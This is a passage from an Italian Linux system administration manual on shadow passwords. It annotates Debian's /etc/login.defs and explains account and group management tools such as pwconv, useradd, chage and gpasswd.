Il file si compone di righe, in cui, ciò che inizia con il simbolo '**`#`**' viene considerato un commento, le righe vuote vengono ignorate e il resto compone le direttive di configurazione. La sintassi di queste è molto semplice: ogni direttiva occupa una sola riga e si compone di coppie ***nome valore***, spaziate, senza simboli di assegnamento.

I valori che possono essere attribuiti sono di tre tipi: stringa, numerico e logico (booleano). Le stringhe vengono indicate senza delimitatori di alcun tipo; i valori numerici possono essere di tipo decimale, ottale (e in tal caso iniziano con uno zero) ed esadecimale (quando iniziano con la sigla '**`0x`**'); i valori booleani sono indicati attraverso le costanti '**`yes`**' (*Vero*) e '**`no`**' (*Falso*).

Segue un estratto di esempio, derivante da una distribuzione GNU/Linux Debian.

```
#
# /etc/login.defs - Configuration control definitions for the login package.
#
# Three items must be defined:  MAIL_DIR, ENV_SUPATH, and ENV_PATH.
# If unspecified, some arbitrary (and possibly incorrect) value will
# be assumed.  All other items are optional - if not specified then
# the described action or option will be inhibited.
#
# Comment lines (lines beginning with "#") and blank lines are ignored.
#
# Modified for Linux.  --marekm

# REQUIRED for useradd/userdel/usermod
#   Directory where mailboxes reside, _or_ name of file, relative to the
#   home directory.  If you _do_ define MAIL_DIR and MAIL_FILE,
#   MAIL_DIR takes precedence.
#
#   Essentially:
#      - MAIL_DIR defines the location of users mail spool files
#        (for mbox use) by appending the username to MAIL_DIR as defined
#        below.
#      - MAIL_FILE defines the location of the users mail spool files as the
#        fully-qualified filename obtained by prepending the user home
#        directory before $MAIL_FILE
#
# NOTE: This is no more used for setting up users MAIL environment variable
#       which is, starting from shadow 4.0.12-1 in Debian, entirely the
#       job of the pam_mail PAM modules
#       See default PAM configuration files provided for
#       login, su, etc.
#
# This is a temporary situation: setting these variables will soon
# move to /etc/default/useradd and the variables will then be
# no more supported
```

```
#MAIL_DIR        /var/mail
#MAIL_FILE      .mail
MAIL_FILE      mail/mbox

#
# Enable logging and display of /var/log/faillog login failure info.
# This option conflicts with the pam_tally PAM module.
#
FAILLOG_ENAB            yes

#
# Enable display of unknown usernames when login failures are recorded.
#
# WARNING: Unknown usernames may become world readable.
# See #290803 and #298773 for details about how this could become a security
# concern
LOG_UNKFAIL_ENAB        no

#
# Enable logging of successful logins
#
LOG_OK_LOGINS           no

#
# Enable "syslog" logging of su activity - in addition to sulog file logging.
# SYSLOG_SG_ENAB does the same for newgrp and sg.
#
SYSLOG_SU_ENAB          yes
SYSLOG_SG_ENAB          yes

#
# If defined, all su activity is logged to this file.
#
#SULOG_FILE     /var/log/sulog

#
# If defined, file which maps tty line to TERM environment parameter.
# Each line of the file is in a format something like "vt100  tty01".
#
#TTYTYPE_FILE   /etc/ttytype

#
# If defined, login failures will be logged here in a utmp format
# last, when invoked as lastb, will read /var/log/btmp, so...
#
FTMP_FILE       /var/log/btmp

#
# If defined, the command name to display when running "su -".  For
# example, if this is defined as "su" then a "ps" will display the
# command is "-su".  If not defined, then "ps" would display the
# name of the shell actually being run, e.g. something like "-sh".
#
```

```
SU_NAME         su

#
# If defined, file which inhibits all the usual chatter during the login
# sequence.  If a full pathname, then hushed mode will be enabled if the
# user's name or shell are found in the file.  If not a full pathname, then
# hushed mode will be enabled if the file exists in the user's home directory.
#
HUSHLOGIN_FILE  .hushlogin
#HUSHLOGIN_FILE /etc/hushlogins

#
# *REQUIRED*  The default PATH settings, for superuser and normal users.
#
# (they are minimal, add the rest in the shell startup files)
ENV_SUPATH      PATH=/etc/script:/usr/local/sbin:/usr/local/bin:↩
↪/usr/sbin:/usr/bin:/sbin:/bin:/usr/bin/X11
ENV_PATH        PATH=/etc/script:/usr/local/bin:/usr/bin:/bin:↩
↪/usr/bin/X11:/usr/games

#
# Terminal permissions
#
#       TTYGROUP        Login tty will be assigned this group ownership.
#       TTYPERM         Login tty will be set to this permission.
#
# If you have a "write" program which is "setgid" to a special group
# which owns the terminals, define TTYGROUP to the group number and
# TTYPERM to 0620.  Otherwise leave TTYGROUP commented out and assign
# TTYPERM to either 622 or 600.
#
# In Debian /usr/bin/bsd-write or similar programs are setgid tty
# However, the default and recommended value for TTYPERM is still 0600
# to not allow anyone to write to anyone else console or terminal

# Users can still allow other people to write them by issuing
# the "mesg y" command.

TTYGROUP        tty
TTYPERM         0600

#
# Login configuration initializations:
#
#       ERASECHAR       Terminal ERASE character ('\010' = backspace).
#       KILLCHAR        Terminal KILL character ('\025' = CTRL/U).
#       UMASK           Default "umask" value.
#
# The ERASECHAR and KILLCHAR are used only on System V machines.
#
# UMASK usage is discouraged because it catches only some classes of user
# entries to system, in fact only those made through login(1), while setting
# umask in shell rc file will catch also logins through su, cron, ssh etc.
```

```
#
# At the same time, using shell rc to set umask won't catch entries which use
# non-shell executables in place of login shell, like /usr/sbin/pppd for "ppp"
# user and alike.
#
# Therefore the use of pam_umask is recommended as the solution which
# catches all these cases on PAM-enabled systems.
#
# This avoids the confusion created by having the umask set
# in two different places -- in login.defs and shell rc files (i.e.
# /etc/profile).
#
# For discussion, see #314539 and #248150 as well as the thread starting at
# http://lists.debian.org/debian-devel/2005/06/msg01598.html
#
# Prefix these values with "0" to get octal, "0x" to get hexadecimal.
#
ERASECHAR       0177
KILLCHAR        025
# 022 is the "historical" value in Debian for UMASK when it was used
# 027, or even 077, could be considered better for privacy
# There is no One True Answer here : each sysadmin must make up his/her
# mind.
UMASK           022

#
# Password aging controls:
#
#       PASS_MAX_DAYS   Maximum number of days a password may be used.
#       PASS_MIN_DAYS   Minimum number of days allowed between password changes.
#       PASS_WARN_AGE   Number of days warning given before a password expires.
#
PASS_MAX_DAYS   99999
PASS_MIN_DAYS   0
PASS_WARN_AGE   7

#
# Min/max values for automatic uid selection in useradd
#
UID_MIN                  1000
UID_MAX                 60000
# System accounts
#SYS_UID_MIN              100
#SYS_UID_MAX              999

#
# Min/max values for automatic gid selection in groupadd
#
GID_MIN                   100
GID_MAX                 60000
# System accounts
#SYS_GID_MIN              100
#SYS_GID_MAX              999
```

```
#
# Max number of login retries if password is bad. This will most likely be
# overriden by PAM, since the default pam_unix module has it's own built
# in of 3 retries. However, this is a safe fallback in case you are using
# an authentication module that does not enforce PAM_MAXTRIES.
#
LOGIN_RETRIES           5

#
# Max time in seconds for login
#
LOGIN_TIMEOUT           60

#
# Which fields may be changed by regular users using chfn - use
# any combination of letters "frwh" (full name, room number, work
# phone, home phone).  If not defined, no changes are allowed.
# For backward compatibility, "yes" = "rwh" and "no" = "frwh".
#
CHFN_RESTRICT           rwh

#
# Should login be allowed if we can't cd to the home directory?
# Default in no.
#
DEFAULT_HOME    yes

#
# If defined, this command is run when removing a user.
# It should remove any at/cron/print jobs etc. owned by
# the user to be removed (passed as the first argument).
#
#USERDEL_CMD    /usr/sbin/userdel_local

#
# This enables userdel to remove user groups if no members exist.
#
# Other former uses of this variable such as setting the umask when
# user==primary group are not used in PAM environments, thus in Debian
#
USERGROUPS_ENAB yes

#
# Instead of the real user shell, the program specified by this parameter
# will be launched, although its visible name (argv[0]) will be the shell's.
# The program may do whatever it wants (logging, additional authentification,
# banner, ...) before running the actual shell.
#
# FAKE_SHELL /bin/fakeshell

#
# If defined, either full pathname of a file containing device names or
```

```
# a ":" delimited list of device names.  Root logins will be allowed only
# upon these devices.
#
# This variable is used by login and su.
#
#CONSOLE        /etc/consoles
#CONSOLE        console:tty01:tty02:tty03:tty04

#
# List of groups to add to the user's supplementary group set
# when logging in on the console (as determined by the CONSOLE
# setting).  Default is none.
#
# Use with caution - it is possible for users to gain permanent
# access to these groups, even when not logged in on the console.
# How to do it is left as an exercise for the reader...
#
# This variable is used by login and su.
#
#CONSOLE_GROUPS         floppy:audio:cdrom

#
# If set to "yes", new passwords will be encrypted using the MD5-based
# algorithm compatible with the one used by recent releases of FreeBSD.
# It supports passwords of unlimited length and longer salt strings.
# Set to "no" if you need to copy encrypted passwords to other systems
# which don't understand the new algorithm.  Default is "no".
#
# This variable is deprecated. You should use ENCRYPT_METHOD.
#
#MD5_CRYPT_ENAB no

#
# If set to MD5 , MD5-based algorithm will be used for encrypting password
# If set to SHA256, SHA256-based algorithm will be used for encrypting password
# If set to SHA512, SHA512-based algorithm will be used for encrypting password
# If set to DES, DES-based algorithm will be used for encrypting password (default)
# Overrides the MD5_CRYPT_ENAB option
#
# Note: It is recommended to use a value consistent with
# the PAM modules configuration.
#
#ENCRYPT_METHOD DES

#
# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512.
#
# Define the number of SHA rounds.
# With a lot of rounds, it is more difficult to brute forcing the password.
# But note also that it more CPU resources will be needed to authenticate
# users.
#
# If not specified, the libc will choose the default number of rounds (5000).
```

```
# The values must be inside the 1000-999999999 range.
# If only one of the MIN or MAX values is set, then this value will be used.
# If MIN > MAX, the highest value will be used.
#
# SHA_CRYPT_MIN_ROUNDS 5000
# SHA_CRYPT_MAX_ROUNDS 5000

################# OBSOLETED BY PAM ##############
#                                               #
# These options are now handled by PAM. Please  #
# edit the appropriate file in /etc/pam.d/ to   #
# enable the equivelants of them.
#
###############

#MOTD_FILE
#DIALUPS_CHECK_ENAB
#LASTLOG_ENAB
#MAIL_CHECK_ENAB
#OBSCURE_CHECKS_ENAB
#PORTTIME_CHECKS_ENAB
#SU_WHEEL_ONLY
#CRACKLIB_DICTPATH
#PASS_CHANGE_TRIES
#PASS_ALWAYS_WARN
#ENVIRON_FILE
#NOLOGINS_FILE
#ISSUE_FILE
#PASS_MIN_LEN
#PASS_MAX_LEN
#ULIMIT
#ENV_HZ
#CHFN_AUTH
#CHSH_AUTH
#FAIL_DELAY

################# OBSOLETED #######################
#                                                 #
# These options are no more handled by shadow.    #
#                                                 #
# Shadow utilities will display a warning if they #
# still appear.                                   #
#                                                 #
###################################################

# CLOSE_SESSIONS
# LOGIN_STRING
# NO_PASSWORD_CONSOLE
# QMAIL_DIR
```

Per quanto riguarda il problema particolare delle parole d'ordine oscurate, si possono osservare le direttive '**PASS_MAX_DAYS**', '**PASS_MIN_DAYS**' e '**PASS_WARN_AGE**'. La prima permette

di stabilire la durata massima, predefinita, di validità di una parola d'ordine; la seconda serve a stabilire la durata minima; la terza il periodo di preavviso.

Tra una distribuzione GNU e l'altra, questo file può contenere o meno determinate direttive. In particolare, quando è attiva la gestione del sistema di autenticazione PAM, alcune direttive perdono di significato, perché riguardano aspetti che passano sotto il controllo della configurazione dei servizi di autenticazione PAM.

La descrizione dettagliata di alcune delle direttive può essere utile, anche se queste non hanno effetto in tutte le distribuzioni GNU.

Tabella 18.58. Alcune direttive.

Direttiva	Descrizione
`CHFN_AUTH` {`yes`|`no`}	Se si assegna il valore '**`yes`**', si intende fare in modo che i programmi '**`chfn`**' e '**`chsh`**' chiedano di reintrodurre la parola d'ordine prima di eseguire, rispettivamente, la sostituzione delle informazioni personali e della shell.
`CHFN_RESTRICT` [`f`] [`r`] [`w`] [`h`]	Per consentire all'utente di modificare i propri dati personali, è necessario utilizzare questa direttiva. Attraverso la stringa che può contenere le lettere '**`f`**', '**`r`**', '**`w`**' e '**`h`**', si possono indicare quali elementi ha diritto di modificare l'utente: '**`f`**', *full name*, nome e cognome; '**`r`**', *room*, numero della stanza; '**`w`**', *work*, telefono dell'ufficio (di lavoro); '**`h`**', *home*, numero telefonico di casa.
`CONSOLE` ↩ ↪{***file*** | ***elenco_dispositivi_console***}	Permette di definire quali siano i terminali da cui può accedere l'utente '**`root`**', attraverso l'indicazione di un file che solitamente è '`/etc/securetty`', oppure attraverso un elenco di nomi di file di dispositivo (senza l'indicazione della directory '`/dev/`'), separati da due punti verticali: '**`console:tty01:tty02:tty03:tty04:tty05:tty06`**'. Se è attiva la gestione del sistema di autenticazione PAM, questa direttiva non serve perché rimpiazzata dal modulo '`pam_securetty.so`'.
`DEFAULT_HOME` {`yes`|`no`}	Se si assegna il valore '**`yes`**', si intende permettere l'accesso anche se non risulta possibile entrare nella directory personale dell'utente (perché non esiste, perché i permessi non sono corretti, ecc.). Se non viene indicata questa direttiva, il valore predefinito è (o dovrebbe essere) '**`no`**'.
`FAIL_DELAY` ***n_secondi***	Permette di specificare un ritardo, espresso in secondi, da applicare nel caso di un tentativo fallito di accesso. L'utente deve quindi attendere quella quantità di tempo prima di poter ritentare.
`GID_MIN` ***n_gid_minimo*** `GID_MAX` ***n_gid_massimo***	Queste due direttive permettono rispettivamente di definire il valore minimo e quello massimo per i numeri GID, cioè quelli che vengono utilizzati per distinguere i gruppi di utenti.
`UID_MIN` ***n_uid_minimo*** `UID_MAX` ***n_uid_massimo***	Queste due direttive permettono rispettivamente di definire il valore minimo e quello massimo per i numeri UID, cioè quelli che vengono utilizzati per distinguere gli utenti.

Direttiva	Descrizione
`ISSUE_FILE` ***percorso***	Permette di definire il percorso assoluto di un file il cui contenuto deve essere visualizzato prima della presentazione dell'invito della procedura di accesso. Tradizionalmente si tratta del file '`/etc/issue`'. Se è attiva la gestione del sistema di autenticazione PAM, questa direttiva non serve perché rimpiazzata dal modulo '`pam_issue.so`'.
`LASTLOG_ENAB` {`yes`|`no`}	Se si assegna il valore '**`yes`**' si intende fare in modo che, nel momento in cui viene concesso l'accesso, venga visualizzata la data, l'ora e il terminale dell'ultimo accesso precedente. Se è attiva la gestione del sistema di autenticazione PAM, questa direttiva non serve perché rimpiazzata dal modulo '`pam_lastlog.so`'.
`LOGIN_RETRIES` ***n_tentativi***	Permette di definire un numero massimo di tentativi che possono essere compiuti dall'utente che cerca di accedere, a seguito di errori nella combinazione tra nominativo e parola d'ordine. Esauriti i tentativi a disposizione, il programma '**`login`**' dovrebbe terminare il suo funzionamento, anche se poi, di solito, viene riavviata una nuova copia del programma Getty.
`LOGIN_TIMEOUT` ***n_secondi***	Stabilisce un tempo massimo per completare la procedura di accesso, dopo il quale il programma '**`login`**' conclude il suo funzionamento.
`MAIL_CHECK_ENAB` {`yes`|`no`}	Se si assegna il valore '**`yes`**', si vuole che il programma '**`login`**' verifichi la presenza di messaggi di posta elettronica per l'utente, in modo da avvisarlo prima di lasciare il controllo alla shell. La verifica viene fatta in base alle informazioni indicate con la direttiva '**`MAIL_DIR`**', oppure in '**`MAIL_FILE`**'. Se è attiva la gestione del sistema di autenticazione PAM, questa direttiva non serve perché rimpiazzata dal modulo '`pam_mail.so`'.
`MAIL_DIR` ***directory_caselle_postali***	Se si vuole fare in modo che '**`login`**' verifichi la presenza di messaggi di posta elettronica per l'utente che accede, è necessario utilizzare questa direttiva (oppure '**`MAIL_FILE`**', a seconda della configurazione del sistema di posta elettronica) per fornire l'indicazione della directory che contiene le caselle dei vari utenti. Se queste caselle sono contenute nelle rispettive directory personali, si utilizza la direttiva '**`MAIL_FILE`**'.
`MAIL_FILE` ***file_casella_postale***	Questa direttiva si contrappone e si sostituisce a '**`MAIL_DIR`**'. Serve a definire il percorso, relativo alla directory personale dell'utente, del file contenente i messaggi di posta elettronica.
`MD5_CRYPT_ENAB` {`yes`|`no`}	Se si assegna il valore '**`yes`**', si vuole che il programma '**`passwd`**' utilizzi l'algoritmo MD5 per le parole d'ordine cifrate da annotare nel file '`/etc/passwd`', o '`/etc/shadow`'. Ciò può essere fatto solo se la funzione ***crypt()*** del sistema lo consente. Se è attiva la gestione del sistema di autenticazione PAM, questa direttiva non serve perché rimpiazzata dall'opzione '**`md5`**' del modulo '`pam_unix.so`'.

Direttiva	Descrizione
`MOTD_FILE` ***elenco_percorsi***	Permette di definire uno o più percorsi assoluti di file il cui contenuto deve essere visualizzato subito dopo il completamento della procedura di accesso, come messaggio del giorno. L'elenco è separato attraverso due punti verticali ('`:`'). Tradizionalmente si tratta del file '`/etc/motd`'. Se è attiva la gestione del sistema di autenticazione PAM, questa direttiva non serve perché rimpiazzata dal modulo '`pam_motd.so`'.
`NOLOGINS_FILE` ***percorso***	Permette di definire il percorso assoluto di un file, la cui presenza inibisce l'accesso da parte degli utenti comuni. Se il file contiene qualcosa, questo viene visualizzato; solitamente si tratta della spiegazione del rifiuto a concedere l'accesso. Tradizionalmente si tratta del file '`/etc/nologin`'. Se è attiva la gestione del sistema di autenticazione PAM, questa direttiva non serve perché rimpiazzata dal modulo '`pam_nologin.so`'.
`PASS_MIN_DAYS` ***n_giorni*** `PASS_MAX_DAYS` ***n_giorni***	Queste due direttive permettono di definire l'intervallo di validità delle parole d'ordine. Questi valori vengono utilizzati all'atto della registrazione di un nuovo utente, per il quale vengono presi come predefiniti. Per la precisione, '**`PASS_MIN_DAYS`**' stabilisce la durata minima di una parola d'ordine che quindi non può essere modificata con maggiore frequenza; '**`PASS_MAX_DAYS`**' stabilisce invece la durata massima di una parola d'ordine dopo la quale l'utenza viene bloccata.
`PASS_WARN_AGE` ***n_giorni***	Stabilisce il numero di giorni di preavviso per la scadenza delle parole d'ordine.
`PASS_MIN_LEN` ***n_caratteri*** `PASS_MAX_LEN` ***n_caratteri***	Queste due direttive servono a porre dei limiti alla dimensione che può essere assegnata a una nuova parola d'ordine. Finché si utilizza la funzione ***crypt()*** tradizionale, non ha senso consentire l'uso di parole d'ordine più lunghe di otto caratteri.
`TTYGROUP` {***gruppo*** | ***gid***}	Permette di definire il gruppo a cui attribuire il dispositivo corrispondente al terminale utilizzato dall'utente che accede. Di solito si tratta di '**`tty`**'. Ciò è utile in abbinamento alla direttiva '**`TTYPERM`**', in modo da consentire al programma '**`write`**' (abbinato allo stesso gruppo e impostato con il bit SGID) di scrivere su quel terminale.
`TTYPERM` ***permessi_numerici***	Permette di definire i permessi da attribuire al dispositivo corrispondente al terminale utilizzato per accedere. Di solito, se si utilizza l'abbinamento al gruppo '**`tty`**', si assegnano anche i permessi 0620_8. Il valore predefinito per questi è 0622_8, cosa che consentirebbe la scrittura a chiunque, mentre per motivi di sicurezza si potrebbe preferire 0600_8, in modo da escludere a priori l'uso di '**`write`**' e di qualunque altra interferenza simile.

18.8.2.2 Utilizzo di «pwconv»

Il programma '**`pwconv`**'[26] permette di convertire un file '`/etc/passwd`' normale in una coppia '`/etc/passwd`' e '`/etc/shadow`', togliendo dal primo le parole d'ordine cifrate. Il programma funziona anche se il file '`/etc/shadow`' esiste già; in tal caso serve per fare in modo che tutte le utenze siano registrate correttamente nel file '`/etc/shadow`' e le parole d'ordine siano tolte dal file '`/etc/passwd`'.

```
pwconv
```

Come si vede dalla sintassi indicata, questo programma non richiede argomenti: si avvale semplicemente della configurazione contenuta in '/etc/login.defs' per stabilire i periodi di validità delle parole d'ordine. In pratica, utilizza precisamente le informazioni delle direttive '**PASS_MAX_DAYS**', '**PASS_MIN_DAYS**' e '**PASS_WARN_AGE**'.

18.8.2.3 Utilizzo di «pwunconv»

A fianco di '**pwconv**', il programma '**pwunconv**'[27] svolge il compito inverso: quello di trasferire le parole d'ordine cifrate nel file '/etc/passwd', perdendo le informazioni aggiuntive contenute nel file '/etc/shadow'.

```
pwunconv
```

Anche questo programma è in grado di funzionare correttamente se parte delle utenze si trova già solo nel file '/etc/passwd'. In ogni caso, al termine viene eliminato il file '/etc/shadow'.

18.8.2.4 Utilizzo di «useradd»

Il programma '**useradd**'[28] permette di aggiungere un utente in un sistema in cui siano attive, o meno, le parole d'ordine oscurate.

useradd [*opzioni*] ***utente***

useradd -D [*opzioni*]

Il funzionamento di '**useradd**' può essere configurato attraverso il file '/etc/default/useradd' e l'uso dell'opzione '**-D**' manifesta l'intenzione di visualizzare tale configurazione o di modificarla.

Dopo la creazione dell'utente, è necessario attribuirgli una parola d'ordine iniziale, attraverso il programma '**passwd**'; inoltre è opportuno creare la directory personale dell'utente.

Il funzionamento di '**useradd**' può essere controllato attraverso il file di configurazione '/etc/default/useradd', oppure attraverso opzioni della riga di comando. Queste opzioni possono essere utili quando si utilizza '**useradd**' attraverso uno script, mentre di solito si fa affidamento sulla configurazione memorizzata nel file.

Per questa ragione, nella tabella successiva vengono mostrate solo le opzioni valide in presenza dell'opzione '**-D**'. Quando questa opzione viene usata da sola, '**useradd**' visualizza semplicemente la configurazione attuale.

Tabella 18.59. Alcune opzioni di configurazione.

Opzione	Descrizione
-D [...] -b ***directory_base***	Definisce la nuova directory predefinita di partenza per la creazione di directory personali. A questa viene aggiunta una directory con lo stesso nome dell'utente che si crea. Il valore normale è '/home/'. L'argomento di questa opzione viene annotato nella direttiva '**HOME**' del file '/etc/default/useradd'.
-D [...] -e ***anno-mese-giorno***	Definisce la nuova data di scadenza predefinita delle utenze. La data va inserita nella forma '***aaaa-mm-gg***'. Il valore normale di questa data è indefinito. L'argomento di questa opzione viene annotato nella direttiva '**EXPIRE**' del file '/etc/default/useradd'.
-D [...] -f ***giorni***	Definisce il numero di giorni predefinito in cui l'utenza rimane utilizzabile dopo la scadenza della validità della parola d'ordine. Il valore normale è −1, pari al numero più grande che possa essere gestito. L'argomento di questa opzione viene annotato nella direttiva '**INACTIVE**' del file '/etc/default/useradd'.
-D [...] -g ***gruppo*** | ***uid***	Definisce il gruppo predefinito a cui possono essere aggregati i nuovi utenti. Il valore normale è 100, pari al gruppo di utenti generico. L'argomento di questa opzione viene annotato nella direttiva '**GROUP**' del file '/etc/default/useradd'. Si osservi che possono esserci delle distribuzioni GNU in cui il programma '**useradd**' è modificato in modo che alla creazione di un nuovo utente, gli venga abbinato un gruppo privato. In tale condizione, questa opzione di configurazione risulterebbe non utilizzata in pratica.
-D [...] -s ***shell***	Definisce la shell predefinita da assegnare ai nuovi utenti. Di solito si tratta di '/bin/bash'. L'argomento di questa opzione viene annotato nella direttiva '**SHELL**' del file '/etc/default/useradd'.

Segue la descrizione di alcuni esempi.

- `# ` **`useradd caio`** [*Invio*]

  Crea l'utente '**caio**' secondo la configurazione stabilita nel file '/etc/default/useradd'.

- `# ` **`useradd -D`** [*Invio*]

  Visualizza la configurazione attuale per la creazione di nuove utenze.

Nella distribuzione GNU/Linux Debian, è bene utilizzare sempre solo l'eseguibile '**adduser**', costituito da un programma Perl in grado di gestire correttamente sia '**useradd**' che '**groupadd**', in particolare per ciò che riguarda il problema dei gruppi privati. Per questo motivo, con la distribuzione GNU/Linux Debian non si deve toccare il file '/etc/default/useradd', ammesso che ci sia; inoltre non deve essere creato se questo non c'è.

18.8.2.5 File «/etc/default/useradd»

Il file '`/etc/default/useradd`' contiene la configurazione del programma '**`useradd`**'. Si tratta di direttive nella forma ***nome*=*valore*** e quasi tutto ciò che appare in questo file può essere modificato attraverso lo stesso '**`useradd`**', con l'opzione '**`-D`**'. Segue un esempio di questo file:

```
# useradd defaults file
GROUP=100
HOME=/home
INACTIVE=-1
EXPIRE=
SHELL=/bin/bash
SKEL=/etc/skel
```

Il significato delle varie direttive è intuitivo; in ogni caso appare descritto nella sezione dedicata a '**`useradd`**'.

18.8.2.6 Utilizzo di «userdel»

Il programma '**`userdel`**' [29] permette di eliminare facilmente un'utenza dai file '`/etc/passwd`' e '`/etc/shadow`'. Eventualmente, se si utilizza l'opzione '**`-r`**', viene eliminata anche la directory personale dell'utente cancellato, mente altri file che dovessero trovarsi al di fuori di quella gerarchia, possono essere tolti solo in modo manuale.

```
userdel [-r] utente
```

Se si utilizza la tecnica dei gruppi privati, potrebbe essere necessaria, o desiderabile, l'eliminazione del gruppo corrispondente. In tal caso, occorre intervenire manualmente nel file '`/etc/group`'.

Nella distribuzione GNU/Linux Debian, è bene utilizzare sempre solo l'eseguibile '**`deluser`**', costituito da un programma Perl in grado di gestire correttamente sia '**`userdel`**', sia '**`groupdel`**', occupandosi anche della directory personale dell'utente che viene rimosso.

18.8.2.7 Utilizzo di «usermod»

Il programma '**`usermod`**' [30] permette di modificare facilmente alcune caratteristiche di un'utenza. A seconda delle preferenze dell'amministratore del sistema, può darsi che si consideri più facile la modifica diretta dei file '`/etc/passwd`' e '`/etc/shadow`', tuttavia, se si intende indicare una data di scadenza per un'utenza, la conversione in giorni trascorsi dal 01/01/1970, necessaria per modificare direttamente il file '`/etc/shadow`', potrebbe essere un po' seccante.

```
usermod [opzioni] utente
```

Tabella 18.61. Alcune opzioni.

Opzione	Descrizione
-e *anno-mese-giorno*	Definisce la data di scadenza dell'utenza. La data va inserita nella forma '*aaaa-mm-gg*'.
-f *giorni*	Definisce il numero di giorni in cui l'utenza rimane utilizzabile dopo la scadenza della validità della parola d'ordine.
[-m] -d *directory_home*	Modifica la posizione della directory personale dell'utente. Se viene usata anche l'opzione '**-m**' si ottiene lo spostamento della vecchia directory nella nuova collocazione, oppure, se manca, questa viene creata.

18.8.2.8 Utilizzo di «chage»

Il programma '**chage**'[31] consente di visualizzare o di modificare le informazioni relative alla validità della parola d'ordine di un utente, all'interno di un sistema in cui siano attive le parole d'ordine oscurate. A seconda dell'impostazione della propria distribuzione GNU, può darsi che sia consentito agli utenti comuni di utilizzare l'opzione '**-l**' per conoscere le proprie scadenze. Perché ciò avvenga, l'eseguibile '**chage**' deve essere SUID-root, oppure deve avere il bit SGID attivo, abbinato a un gruppo particolare che abbia accesso al file '/etc/passwd' in lettura.

```
chage [opzioni] utente
```

L'interrogazione di un'utenza come quella che appare nella figura 18.55 si traduce nel risultato seguente:

```
# chage -l tizio [Invio]
```

```
Minimum:        0
Maximum:        30
Warning:        7
Inactive:       10
Last Change:            Aug 21, 1998
Password Expires:       Sep 20, 1998
Password Inactive:      Sep 30, 1998
Account Expires:        Aug 21, 1999
```

Tabella 18.63. Alcune opzioni.

Opzione	Descrizione
`-d` ***data_modifica_parola_d'ordine***	Definisce la data in cui è stata modificata la parola d'ordine per l'ultima volta, corrispondente al terzo campo del file '`/etc/shadow`'. La data può essere inserita con un numero intero, corrispondente alla quantità di giorni trascorsi dal 01/01/1970, oppure secondo una forma differente, in base alla localizzazione (nella configurazione italiana, dovrebbe essere possibile scrivere la data come '***gg/mm/ssaa***').
`-m` ***giorni_validità_minima***	Definisce il numero di giorni di validità minima della parola d'ordine, corrispondenti al valore inserito nel quarto campo del file '`/etc/shadow`'; entro questo tempo, l'utente non può cambiare la parola d'ordine. Se si indica il valore zero, si consente di cambiare la parola d'ordine in qualsiasi momento.
`-M` ***giorni_validità_massima***	Definisce il numero di giorni di validità massima della parola d'ordine, corrispondenti al valore inserito nel quinto campo del file '`/etc/shadow`'; prima che trascorra questo tempo, l'utente deve cambiare la parola d'ordine.
`-W` ***giorni_di_preavviso***	Definisce il numero di giorni, prima della scadenza della parola d'ordine, durante i quali l'utente viene avvisato della necessità di modificarla. L'informazione viene annotata nel sesto campo del file '`/etc/shadow`'.
`-I` ***giorni_di_riserva***	Definisce la quantità di giorni, dopo la scadenza della parola d'ordine, in cui è consentito accedere con l'obbligo di modificare la parola d'ordine. L'informazione viene annotata nel settimo campo del file '`/etc/shadow`'.
`-E` ***data_termine***	Definisce la data di scadenza dell'utenza, corrispondente all'ottavo campo del file '`/etc/shadow`'. La data può essere inserita con un numero intero, corrispondente alla quantità di giorni trascorsi dal 01/01/1970, oppure secondo una forma differente, in base alla localizzazione (nella configurazione italiana, dovrebbe essere possibile scrivere la data come '***gg/mm/ssaa***').

18.8.3 Amministrazione dei gruppi

Anche i gruppi possono avere una parola d'ordine, per permettere agli utenti che non vi appartengono di potervisi inserire attraverso il comando '**`newgrp`**'.

Generalmente, per fare in modo che un utente possa partecipare a un gruppo del quale non fa già parte, basta aggiungere il suo nome nell'ultimo campo del record del gruppo in cui questo vuole essere inserito. Da quel momento, quell'utente ha la possibilità di utilizzare il comando '**`newgrp`** *gruppo*' per agire con i privilegi concessi a quel gruppo.

L'idea di poter aggiungere una parola d'ordine ai gruppi, in modo che gli utenti estranei che la conoscono possano usare ugualmente '**`newgrp`**' per questo, è piuttosto discutibile. Infatti, una parola d'ordine è «sicura» solo se conosciuta da una sola persona; nel momento in cui la stessa parola d'ordine è conosciuta da un gruppo di persone diventa incontrollabile la sua diffusione (a causa della natura umana).

Tuttavia, il problema esiste e vale la pena di analizzarne gli effetti in presenza di parole d'ordine oscurate.

18.8.3.1 File «/etc/gshadow»

La presenza del file '`/etc/gshadow`' indica l'attivazione delle parole d'ordine oscurate per i gruppi. I record di questo file sono organizzati in campi, separati attraverso due punti verticali ('`:`'), secondo la sintassi seguente:

```
gruppo:parola_d'ordine_cifrata:amministratori:utenti_membri
```

1. ***gruppo***

   Il nome del gruppo.

2. ***parola_d'ordine_cifrata***

   La parola d'ordine cifrata (che normalmente è assente).

3. ***amministratori***

   Un elenco, separato da virgole, di utenti amministratori del gruppo.

4. ***utenti_membri***

   Un elenco, separato da virgole, di utenti che fanno parte del gruppo.

Gli amministratori del gruppo hanno la possibilità di aggiungere e togliere utenti membri; inoltre, possono cambiare la parola d'ordine.

18.8.3.2 Utilizzo di «grpconv»

Il programma '**`grpconv`**' [32] permette di convertire un file '`/etc/group`' normale in una coppia '`/etc/group`' e '`/etc/gshadow`', togliendo dal primo le eventuali parole d'ordine cifrate. Il programma funziona anche se il file '`/etc/gshadow`' esiste già: in tal caso serve per fare in modo che tutti i gruppi siano registrati correttamente nel file '`/etc/gshadow`' e le parole d'ordine siano tolte dal file '`/etc/group`'.

```
grpconv
```

18.8.3.3 Utilizzo di «grpunconv»

A fianco di '**`grpconv`**', il programma '**`grpunconv`**'[33] svolge il compito inverso: quello di trasferire le parole d'ordine cifrate nel file '`/etc/group`' perdendo le informazioni aggiuntive contenute nel file '`/etc/gshadow`'.

```
grpunconv
```

Anche questo programma è in grado di funzionare correttamente se parte delle utenze si trova solo nel file '`/etc/group`'. In ogni caso, al termine viene eliminato il file '`/etc/gshadow`'.

18.8.3.4 Utilizzo di «gpasswd»

Il programma '**gpasswd**',[34] come suggerisce il nome, serve a cambiare la parola d'ordine di un gruppo. Oltre a questo, però, permette anche di intervenire sugli altri campi del file '/etc/gshadow', inserendo o eliminando gli amministratori e i membri di un gruppo.

```
gpasswd [opzioni] gruppo
```

